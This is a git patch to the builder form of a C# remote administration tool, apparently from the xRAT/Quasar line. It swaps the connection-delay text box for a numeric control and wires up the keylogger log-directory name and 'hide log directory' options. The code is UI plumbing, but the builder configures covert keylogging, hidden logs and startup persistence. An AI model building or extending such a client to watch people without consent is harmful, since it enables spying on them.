From 036f6872be42ec060d2ecb47ede223ee045816ec Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 18 Sep 2015 22:47:19 +0200 Subject: [PATCH] Improved Builder integration of new additional Keylogger settings --- Server/Core/Data/BuilderProfile.cs | 2 +- Server/Forms/FrmBuilder.Designer.cs | 40 +++++++++++++++++------------ Server/Forms/FrmBuilder.cs | 16 +++++++++--- 3 files changed, 37 insertions(+), 21 deletions(-) diff --git a/Server/Core/Data/BuilderProfile.cs b/Server/Core/Data/BuilderProfile.cs index ec44d32c..bf58930b 100644 --- a/Server/Core/Data/BuilderProfile.cs +++ b/Server/Core/Data/BuilderProfile.cs @@ -207,7 +207,7 @@ namespace xServer.Core.Data { get { - return ReadValueSafe("LogDirectoryName"); + return ReadValueSafe("LogDirectoryName", "Logs"); } set { diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index ec4fab92..a783f958 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -53,6 +53,7 @@ this.lblMutex = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.connectionPage = new System.Windows.Forms.TabPage(); + this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); this.line3 = new xServer.Controls.Line(); this.label4 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); @@ -64,7 +65,6 @@ this.btnAddHost = new System.Windows.Forms.Button(); this.lblMS = new System.Windows.Forms.Label(); this.lblHost = new System.Windows.Forms.Label(); - this.txtDelay = new System.Windows.Forms.TextBox(); this.txtHost = new System.Windows.Forms.TextBox(); this.lblDelay = new System.Windows.Forms.Label(); this.lblPort = new System.Windows.Forms.Label(); @@ -130,6 +130,7 @@ this.builderTabs.SuspendLayout(); this.generalPage.SuspendLayout(); this.connectionPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit(); this.installationPage.SuspendLayout(); this.assemblyPage.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); @@ -361,6 +362,7 @@ // connectionPage // this.connectionPage.BackColor = System.Drawing.SystemColors.Control; + this.connectionPage.Controls.Add(this.numericUpDownDelay); this.connectionPage.Controls.Add(this.line3); this.connectionPage.Controls.Add(this.label4); this.connectionPage.Controls.Add(this.label3); @@ -372,7 +374,6 @@ this.connectionPage.Controls.Add(this.btnAddHost); this.connectionPage.Controls.Add(this.lblMS); this.connectionPage.Controls.Add(this.lblHost); - this.connectionPage.Controls.Add(this.txtDelay); this.connectionPage.Controls.Add(this.txtHost); this.connectionPage.Controls.Add(this.lblDelay); this.connectionPage.Controls.Add(this.lblPort); @@ -387,6 +388,24 @@ this.connectionPage.TabIndex = 0; this.connectionPage.Text = "Connection Settings"; // + // numericUpDownDelay + // + this.numericUpDownDelay.Location = new System.Drawing.Point(276, 282); + this.numericUpDownDelay.Maximum = new decimal(new int[] { + 600000, + 0, + 0, + 0}); + this.numericUpDownDelay.Name = "numericUpDownDelay"; + this.numericUpDownDelay.Size = new System.Drawing.Size(80, 22); + this.numericUpDownDelay.TabIndex = 19; + this.numericUpDownDelay.Value = new decimal(new int[] { + 5000, + 0, + 0, + 0}); + this.numericUpDownDelay.ValueChanged += new System.EventHandler(this.HasChangedSetting); + // // line3 // this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; @@ -489,18 +508,6 @@ this.lblHost.TabIndex = 0; this.lblHost.Text = "IP/Hostname:"; // - // txtDelay - // - this.txtDelay.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.txtDelay.Location = new System.Drawing.Point(310, 282); - this.txtDelay.MaxLength = 6; - this.txtDelay.Name = "txtDelay"; - this.txtDelay.Size = new System.Drawing.Size(46, 22); - this.txtDelay.TabIndex = 10; - this.txtDelay.Text = "5000"; - this.txtDelay.TextChanged += new System.EventHandler(this.HasChangedSetting); - this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress); - // // txtHost // this.txtHost.Location = new System.Drawing.Point(254, 22); @@ -1053,8 +1060,8 @@ this.txtLogDirectoryName.Name = "txtLogDirectoryName"; this.txtLogDirectoryName.Size = new System.Drawing.Size(118, 22); this.txtLogDirectoryName.TabIndex = 43; - this.txtLogDirectoryName.Text = "Logs"; this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting); + this.txtLogDirectoryName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtLogDirectoryName_KeyPress); // // lblLogDirectory // @@ -1120,6 +1127,7 @@ this.generalPage.PerformLayout(); this.connectionPage.ResumeLayout(false); this.connectionPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit(); this.installationPage.ResumeLayout(false); this.installationPage.PerformLayout(); this.assemblyPage.ResumeLayout(false); @@ -1140,7 +1148,6 @@ private System.Windows.Forms.Label lblPort; private System.Windows.Forms.TextBox txtHost; private System.Windows.Forms.Label lblHost; - private System.Windows.Forms.TextBox txtDelay; private System.Windows.Forms.Label lblDelay; private System.Windows.Forms.CheckBox chkInstall; private System.Windows.Forms.TextBox txtInstallname; @@ -1227,5 +1234,6 @@ private System.Windows.Forms.Label lblLogDirectory; private System.Windows.Forms.TextBox txtLogDirectoryName; private System.Windows.Forms.CheckBox chkHideLogDirectory; + private System.Windows.Forms.NumericUpDown numericUpDownDelay; } } diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 6c5d704b..f412bb39 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -32,7 +32,7 @@ namespace xServer.Forms txtTag.Text = profile.Tag; txtPassword.Text = profile.Password; - txtDelay.Text = profile.Delay.ToString(); + numericUpDownDelay.Value = profile.Delay; txtMutex.Text = profile.Mutex; chkInstall.Checked = profile.InstallClient; txtInstallname.Text = profile.InstallName; @@ -45,6 +45,8 @@ namespace xServer.Forms txtIconPath.Text = profile.IconPath; chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; chkKeylogger.Checked = profile.Keylogger; + txtLogDirectoryName.Text = profile.LogDirectoryName; + chkHideLogDirectory.Checked = profile.HideLogDirectory; txtProductName.Text = profile.ProductName; txtDescription.Text = profile.Description; txtCompanyName.Text = profile.CompanyName; @@ -64,7 +66,7 @@ namespace xServer.Forms profile.Tag = txtTag.Text; profile.Hosts = HostHelper.GetRawHosts(_hosts); profile.Password = txtPassword.Text; - profile.Delay = int.Parse(txtDelay.Text); + profile.Delay = (int)numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.InstallClient = chkInstall.Checked; profile.InstallName = txtInstallname.Text; @@ -187,6 +189,12 @@ namespace xServer.Forms !char.IsControl(e.KeyChar)); } + private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); @@ -241,7 +249,7 @@ namespace xServer.Forms private bool CheckForEmptyInput() { return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings - _hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && !string.IsNullOrWhiteSpace(txtDelay.Text) && // Connection + _hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation } @@ -260,7 +268,7 @@ namespace xServer.Forms options.Mutex = txtMutex.Text; options.RawHosts = HostHelper.GetRawHosts(_hosts); options.Password = txtPassword.Text; - options.Delay = int.Parse(txtDelay.Text); + options.Delay = (int)numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath();